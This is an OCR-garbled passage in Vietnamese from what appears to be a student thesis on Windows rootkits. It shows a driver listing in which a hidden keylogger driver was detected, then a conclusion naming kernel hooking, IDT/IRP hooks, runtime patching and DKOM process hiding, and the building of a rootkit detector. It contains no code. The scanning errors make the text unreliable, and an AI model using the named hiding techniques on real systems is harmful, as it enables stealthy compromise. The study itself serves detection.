121 WWINDOWWShsystem32\DRIWVERS\BATTC.SY S | 08xf3ab2000
13| intelide.sys | 08 xfBbSe000

Trinh diéu khién hiding.sys ( tép thuc thi keylogger) da duogc hién thi.
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KET LUAN

Trong thoi gian 1am do 4n, em di c¢b ging tim hiéu vé cac k¥ thuat cta rootkit, tim hiéu vé
Windows kernel, ddng thoi tim hiéu cac cong cu, ngdn ngit dé phat trién rootkit va xay dung
cong phat hién rootkit. Sau khi tim hiéu va phén tich nhiing vén dé trén, em d3 dat dugc mot
s6 két qua nhu sau:

e V& Iy thuyét

©)

Tim hiéu vé kién trdc caa hé diéu hanh Windows: bao gom cac khai niém co
ban nhat, hai ché d6 1a user mode va kernel mode trong Windows va chi tiét
cac thanh phan cua hé diéu hanh.

Tim hiéu vé co ché hoat dong cua hé diéu hanh Windows: tir khai dong hé
thdng cho dén viéc quan 1y ddi tuwong, quan 1y xu ly céc sy kién, trao doi thong
diép va co ché hoat dong cua kernel.

Tim hiéu vé phuong thtrc quan ly cua hé diéu hanh Windows théng qua
Registry va céc dich vu hé thong.

Tim hiéu vé cong viéc quan ly bo nhg, bd nhé danh cho hé thdng, cac dich vu,
co ché phan giai dia chi...

Tim hiéu vé quan ly tién trinh, ludng va cong viéc

Tim hiéu vé Kernel hook, viing nhé caa kernel, tim hiéu vé lap trinh & muc
kernel mode, cach an tién trinh bang hook IDT va cach an céng TCP/IP bang
IRP hook

Tim hiéu vé k¥ thuat Runtime patching, day 1a ky thuat hay duoc sir dung bai
virus 1am ting kha ning cua rootkit trong viéc chinh sira truc tiép cac ham
trong b6 nhé

Tim hiéu vé ki thuat DKOM, day 1a k§ thuat manh nhat cua rootkit cho dén
hién tai, tuy vay no lai phu thugc vao tirng hé diéu hanh cu thé, tim hiéu an tién
trinh va trinh diéu khién thiét bi voi DKOM.

e Vétung dung

o

Xay dung dugc mét ing dung phat hién rootkit trén Windows
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